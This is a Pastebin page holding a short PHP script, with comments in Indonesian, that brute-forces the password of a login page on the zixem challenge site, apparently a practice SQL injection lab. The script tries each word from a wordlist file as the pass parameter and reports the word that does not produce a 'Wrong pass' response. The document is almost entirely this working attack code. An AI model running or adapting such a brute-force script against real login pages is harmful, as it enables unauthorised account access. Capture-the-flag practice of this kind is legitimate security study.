Advertisement
MouseSec

simple brute for zixem challenge

Mar 26th, 2019
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.80 KB | None | 0 0
  1. <?php
  2. // MouseSec - Terabithia
  3. // Curl function
  4. function curl($url) {
  5.     $ch = curl_init();
  6.     curl_setopt($ch, CURLOPT_URL, $url);
  7.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  8.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  9.     $exec = curl_exec($ch);
  10.     return $exec;
  11. }
  12.  
  13. // Mengecek apa ada file wordlist
  14. if(is_file($argv[1])) {
  15.     $file = file($argv[1]);
  16.     foreach ($file as $wordlist) {
  17.         $wordlist = str_replace("\n", "", $wordlist);
  18.         $url = "http://zixem.altervista.org/SQLi/login_do.php?pass=".$wordlist;
  19.         $curl = curl($url);
  20.         // Mengecek jika password salah, maka output adalah Wrong Password!
  21.         if(preg_match("/Wrong pass./", $curl)) {
  22.             print "[!] Wrong Password!\n";
  23.         } else {
  24.             // Jika password benar maka output adalah Password is 'password'
  25.             print "[+] Password is $wordlist\n";
  26.         }
  27.     }
  28. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement